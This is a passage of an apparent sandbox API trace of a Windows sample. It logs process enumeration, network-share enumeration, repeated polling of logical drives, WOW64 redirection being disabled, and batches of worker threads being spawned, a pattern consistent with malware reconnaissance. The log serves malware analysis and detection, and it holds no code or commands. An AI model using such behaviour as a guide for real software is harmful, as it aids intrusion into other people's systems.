hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lee.exe")) returned 1 [0080.477] lstrlenW (lpString="lee.exe") returned 7 [0080.477] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arrivedvictims.exe")) returned 1 [0080.478] lstrlenW (lpString="arrivedvictims.exe") returned 18 [0080.478] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="romandisclosure.exe")) returned 1 [0080.480] lstrlenW (lpString="romandisclosure.exe") returned 19 [0080.480] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neo quotations brave.exe")) returned 1 [0080.481] lstrlenW (lpString="neo quotations brave.exe") returned 24 [0080.481] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0080.482] lstrlenW (lpString="dllhost.exe") returned 11 [0080.482] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="product.exe")) returned 1 [0080.483] lstrlenW (lpString="product.exe") returned 11 [0080.483] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="phase wrist exhaust.exe")) returned 1 [0080.485] lstrlenW (lpString="phase wrist exhaust.exe") returned 23 [0080.485] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basin.exe")) returned 1 [0080.486] lstrlenW (lpString="basin.exe") returned 9 [0080.486] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine keyboard rebecca.exe")) returned 1 [0080.487] lstrlenW (lpString="determine keyboard rebecca.exe") returned 30 [0080.487] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested housewives.exe")) returned 1 [0080.488] lstrlenW (lpString="tested housewives.exe") returned 21 [0080.488] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfc0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0080.490] lstrlenW (lpString="conhost.exe") returned 11 [0080.490] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0080.491] lstrlenW (lpString="conhost.exe") returned 11 [0080.492] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.493] lstrlenW (lpString="svchost.exe") returned 11 [0080.493] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x474, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0080.494] lstrlenW (lpString="wmxsde.exe") returned 10 [0080.494] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0080.495] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0080.495] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0080.496] lstrlenW (lpString="conhost.exe") returned 11 [0080.496] Process32NextW (hSnapshot=0x2c0, lppe=0x24cfd2c) Thread: id = 5 os_tid = 0x2ac [0047.089] WaitForSingleObject (hHandle=0x19fddc, dwMilliseconds=0xffffffff) returned 0xffffffff [0047.089] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5168 | out: hHeap=0x6a0000) returned 1 Thread: id = 6 os_tid = 0xda8 [0047.090] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x72c628 [0047.090] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72c628, Size=0x20) returned 0x6deb10 [0047.090] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6deb10, Size=0x40) returned 0x6ba5d0 [0047.090] GetLogicalDrives () returned 0x4 [0047.090] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x71af78 [0047.091] GetComputerNameW (in: lpBuffer=0x71af7c, nSize=0x270ff64 | out: lpBuffer="NQDPDE", nSize=0x270ff64) returned 1 [0047.091] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1000) returned 0x6fdaf0 [0047.091] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x270ff34 | out: lphEnum=0x270ff34*=0x6b5750) returned 0x0 [0047.092] WNetEnumResourceW (in: hEnum=0x6b5750, lpcCount=0x270ff30, lpBuffer=0x6fdaf0, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x6fdaf0, lpBufferSize=0x270ff38) returned 0x103 [0047.094] WNetCloseEnum (hEnum=0x6b5750) returned 0x0 [0047.094] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x270ff34 | out: lphEnum=0x270ff34*=0x4260340) returned 0x0 [0050.132] WNetEnumResourceW (in: hEnum=0x4260340, lpcCount=0x270ff30, lpBuffer=0x6fdaf0, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x6fdaf0, lpBufferSize=0x270ff38) returned 0x0 [0050.132] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1000) returned 0x3c61260 [0050.132] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6fdaf0, lphEnum=0x270ff08 | out: lphEnum=0x270ff08*=0x6b56d0) returned 0x0 [0050.135] WNetEnumResourceW (in: hEnum=0x6b56d0, lpcCount=0x270ff04, lpBuffer=0x3c61260, lpBufferSize=0x270ff0c | out: lpcCount=0x270ff04, lpBuffer=0x3c61260, lpBufferSize=0x270ff0c) returned 0x103 [0050.135] WNetCloseEnum (hEnum=0x6b56d0) returned 0x0 [0050.135] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1000) returned 0x3c692a0 [0050.135] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6fdb10, lphEnum=0x270ff08 | out: lphEnum=0x270ff08*=0x0) returned 0x4b8 [0071.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1000) returned 0x4288cf8 [0071.681] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6fdb30, lphEnum=0x270ff08 | out: lphEnum=0x270ff08*=0x0) returned 0x4c6 [0071.691] WNetEnumResourceW (in: hEnum=0x4260340, lpcCount=0x270ff30, lpBuffer=0x6fdaf0, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x6fdaf0, lpBufferSize=0x270ff38) returned 0x103 [0071.691] WNetCloseEnum (hEnum=0x4260340) returned 0x0 [0071.692] GetLogicalDrives () returned 0x4 [0071.692] Sleep (dwMilliseconds=0x64) [0072.299] GetLogicalDrives () returned 0x4 [0072.299] Sleep (dwMilliseconds=0x64) [0072.900] GetLogicalDrives () returned 0x4 [0072.900] Sleep (dwMilliseconds=0x64) [0073.178] GetLogicalDrives () returned 0x4 [0073.178] Sleep (dwMilliseconds=0x64) [0073.606] GetLogicalDrives () returned 0x4 [0073.606] Sleep (dwMilliseconds=0x64) [0074.145] GetLogicalDrives () returned 0x4 [0074.145] Sleep (dwMilliseconds=0x64) [0074.695] GetLogicalDrives () returned 0x4 [0074.695] Sleep (dwMilliseconds=0x64) [0075.372] GetLogicalDrives () returned 0x4 [0075.373] Sleep (dwMilliseconds=0x64) [0075.903] GetLogicalDrives () returned 0x4 [0075.903] Sleep (dwMilliseconds=0x64) [0076.449] GetLogicalDrives () returned 0x4 [0076.449] Sleep (dwMilliseconds=0x64) [0076.906] GetLogicalDrives () returned 0x4 [0076.906] Sleep (dwMilliseconds=0x64) [0077.456] GetLogicalDrives () returned 0x4 [0077.456] Sleep (dwMilliseconds=0x64) [0077.720] GetLogicalDrives () returned 0x4 [0077.729] Sleep (dwMilliseconds=0x64) [0078.119] GetLogicalDrives () returned 0x4 [0078.119] Sleep (dwMilliseconds=0x64) [0078.694] GetLogicalDrives () returned 0x4 [0078.695] Sleep (dwMilliseconds=0x64) [0079.179] GetLogicalDrives () returned 0x4 [0079.179] Sleep (dwMilliseconds=0x64) [0079.716] GetLogicalDrives () returned 0x4 [0079.716] Sleep (dwMilliseconds=0x64) [0080.357] GetLogicalDrives () returned 0x4 [0080.357] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0xbec [0048.806] GetTickCount () returned 0x222c0 [0048.806] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6ff720 [0048.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ff720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c [0048.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ff720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0 [0048.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ff720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4 [0048.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ff720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8 [0048.808] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fcb90 [0048.808] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fcb90, Size=0x20) returned 0x6dea98 [0048.808] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fccc8 [0048.808] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fccc8, Size=0x20) returned 0x6deac0 [0048.808] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0048.808] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0048.808] Wow64DisableWow64FsRedirection (in: OldValue=0x284ff7c | out: OldValue=0x284ff7c*=0x0) returned 1 [0048.808] lstrlenW (lpString="kernel32.dll") returned 12 [0048.808] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dea98 | out: hHeap=0x6a0000) returned 1 [0048.808] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0048.808] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deac0 | out: hHeap=0x6a0000) returned 1 [0048.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x6e7700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac [0048.809] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0049.889] GetTickCount () returned 0x226f6 [0049.889] GetTickCount () returned 0x226f6 [0049.889] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0050.301] GetTickCount () returned 0x2289c [0050.301] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0050.747] GetTickCount () returned 0x22a52 [0050.747] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0051.946] GetTickCount () returned 0x22f05 [0051.946] GetTickCount () returned 0x22f05 [0051.946] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0052.523] GetTickCount () returned 0x23147 [0052.523] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0053.164] GetTickCount () returned 0x233c8 [0053.164] GetTickCount () returned 0x233c8 [0053.164] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0054.084] GetTickCount () returned 0x23762 [0054.093] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0054.844] GetTickCount () returned 0x23a50 [0054.844] GetTickCount () returned 0x23a50 [0054.844] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0055.506] GetTickCount () returned 0x23cef [0055.506] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0055.836] GetTickCount () returned 0x23e38 [0055.836] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0056.600] GetTickCount () returned 0x24135 [0056.600] GetTickCount () returned 0x24135 [0056.600] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0057.466] GetTickCount () returned 0x244a0 [0057.466] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0058.018] GetTickCount () returned 0x246c3 [0058.018] GetTickCount () returned 0x246c3 [0058.018] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0058.674] GetTickCount () returned 0x24953 [0058.674] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0059.407] GetTickCount () returned 0x24c22 [0059.407] GetTickCount () returned 0x24c22 [0059.407] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0060.019] GetTickCount () returned 0x24e93 [0060.019] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0060.553] GetTickCount () returned 0x250a6 [0060.553] GetTickCount () returned 0x250a6 [0060.553] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0061.162] GetTickCount () returned 0x25308 [0061.162] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0061.625] GetTickCount () returned 0x254cd [0061.625] GetTickCount () returned 0x254cd [0061.626] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0062.051] GetTickCount () returned 0x25682 [0062.052] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0062.226] GetTickCount () returned 0x2572e [0062.226] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0062.862] GetTickCount () returned 0x259af [0062.862] GetTickCount () returned 0x259af [0062.862] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0063.368] GetTickCount () returned 0x25ba3 [0063.368] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0063.636] GetTickCount () returned 0x25cac [0063.636] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0064.330] GetTickCount () returned 0x25f6c [0064.330] GetTickCount () returned 0x25f6c [0064.330] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0064.945] GetTickCount () returned 0x261cd [0064.945] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0065.301] GetTickCount () returned 0x26334 [0065.301] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0065.823] GetTickCount () returned 0x26538 [0065.823] GetTickCount () returned 0x26538 [0065.823] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0066.049] GetTickCount () returned 0x26622 [0066.049] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0067.043] GetTickCount () returned 0x269fb [0067.043] GetTickCount () returned 0x269fb [0067.043] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0067.669] GetTickCount () returned 0x26c7b [0067.669] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0068.237] GetTickCount () returned 0x26eae [0068.237] GetTickCount () returned 0x26eae [0068.237] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0068.652] GetTickCount () returned 0x27044 [0068.652] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0069.149] GetTickCount () returned 0x27238 [0069.150] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0069.538] GetTickCount () returned 0x273bf [0069.538] GetTickCount () returned 0x273bf [0069.538] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0071.265] GetTickCount () returned 0x27a85 [0071.265] GetTickCount () returned 0x27a85 [0071.265] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0072.013] GetTickCount () returned 0x27d73 [0072.013] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0072.452] GetTickCount () returned 0x27f29 [0072.452] GetTickCount () returned 0x27f29 [0072.452] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0072.986] GetTickCount () returned 0x2813c [0072.986] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0073.538] GetTickCount () returned 0x2835f [0073.538] GetTickCount () returned 0x2835f [0073.538] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0073.977] GetTickCount () returned 0x28514 [0073.977] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0074.306] GetTickCount () returned 0x2865c [0074.306] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0074.770] GetTickCount () returned 0x28831 [0074.770] GetTickCount () returned 0x28831 [0074.770] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0075.373] GetTickCount () returned 0x28a92 [0075.373] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0075.903] GetTickCount () returned 0x28ca6 [0075.903] GetTickCount () returned 0x28ca6 [0075.903] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0076.449] GetTickCount () returned 0x28eb9 [0076.449] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0076.906] GetTickCount () returned 0x2908e [0076.906] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0077.457] GetTickCount () returned 0x292b1 [0077.457] GetTickCount () returned 0x292b1 [0077.457] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0077.755] GetTickCount () returned 0x293d9 [0077.755] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0078.119] GetTickCount () returned 0x29541 [0078.120] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0078.694] GetTickCount () returned 0x29783 [0078.694] GetTickCount () returned 0x29783 [0078.694] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0079.179] GetTickCount () returned 0x29967 [0079.179] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0079.716] GetTickCount () returned 0x29b8a [0079.716] GetTickCount () returned 0x29b8a [0079.716] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0080.357] GetTickCount () returned 0x29e0b [0080.357] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) Thread: id = 8 os_tid = 0xf98 [0048.802] GetTickCount () returned 0x222c0 [0048.802] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6ff6f0 [0048.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ff6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280 [0048.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ff6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c [0048.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ff6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0048.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ff6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294 [0048.804] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fcb90 [0048.804] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fcb90, Size=0x20) returned 0x6dea98 [0048.804] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fccc8 [0048.804] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fccc8, Size=0x20) returned 0x6deac0 [0048.805] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0048.805] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0048.805] Wow64DisableWow64FsRedirection (in: OldValue=0x298ff7c | out: OldValue=0x298ff7c*=0x0) returned 1 [0048.805] lstrlenW (lpString="kernel32.dll") returned 12 [0048.805] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dea98 | out: hHeap=0x6a0000) returned 1 [0048.805] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0048.805] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deac0 | out: hHeap=0x6a0000) returned 1 [0048.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x70af58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298 [0048.805] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0049.889] GetTickCount () returned 0x226f6 [0049.889] GetTickCount () returned 0x226f6 [0049.889] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0050.301] GetTickCount () returned 0x2289c [0050.301] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0050.747] GetTickCount () returned 0x22a52 [0050.747] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0051.946] GetTickCount () returned 0x22f05 [0051.946] GetTickCount () returned 0x22f05 [0051.946] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0052.523] GetTickCount () returned 0x23147 [0052.523] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0053.164] GetTickCount () returned 0x233c8 [0053.164] GetTickCount () returned 0x233c8 [0053.164] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0054.130] GetTickCount () returned 0x23790 [0054.130] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0054.845] GetTickCount () returned 0x23a50 [0054.845] GetTickCount () returned 0x23a50 [0054.845] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0055.505] GetTickCount () returned 0x23cef [0055.505] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0055.836] GetTickCount () returned 0x23e38 [0055.836] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0056.600] GetTickCount () returned 0x24135 [0056.600] GetTickCount () returned 0x24135 [0056.600] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0057.466] GetTickCount () returned 0x244a0 [0057.466] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0058.017] GetTickCount () returned 0x246c3 [0058.017] GetTickCount () returned 0x246c3 [0058.017] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0058.674] GetTickCount () returned 0x24953 [0058.674] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0059.407] GetTickCount () returned 0x24c22 [0059.407] GetTickCount () returned 0x24c22 [0059.407] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0060.019] GetTickCount () returned 0x24e93 [0060.019] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0060.553] GetTickCount () returned 0x250a6 [0060.553] GetTickCount () returned 0x250a6 [0060.553] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0061.162] GetTickCount () returned 0x25308 [0061.162] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0061.625] GetTickCount () returned 0x254cd [0061.625] GetTickCount () returned 0x254cd [0061.625] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0062.051] GetTickCount () returned 0x25682 [0062.051] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0062.226] GetTickCount () returned 0x2572e [0062.226] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0062.862] GetTickCount () returned 0x259af [0062.862] GetTickCount () returned 0x259af [0062.862] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0063.368] GetTickCount () returned 0x25ba3 [0063.368] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0063.636] GetTickCount () returned 0x25cac [0063.636] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0064.330] GetTickCount () returned 0x25f6c [0064.330] GetTickCount () returned 0x25f6c [0064.330] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0064.945] GetTickCount () returned 0x261cd [0064.945] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0065.319] GetTickCount () returned 0x26344 [0065.319] 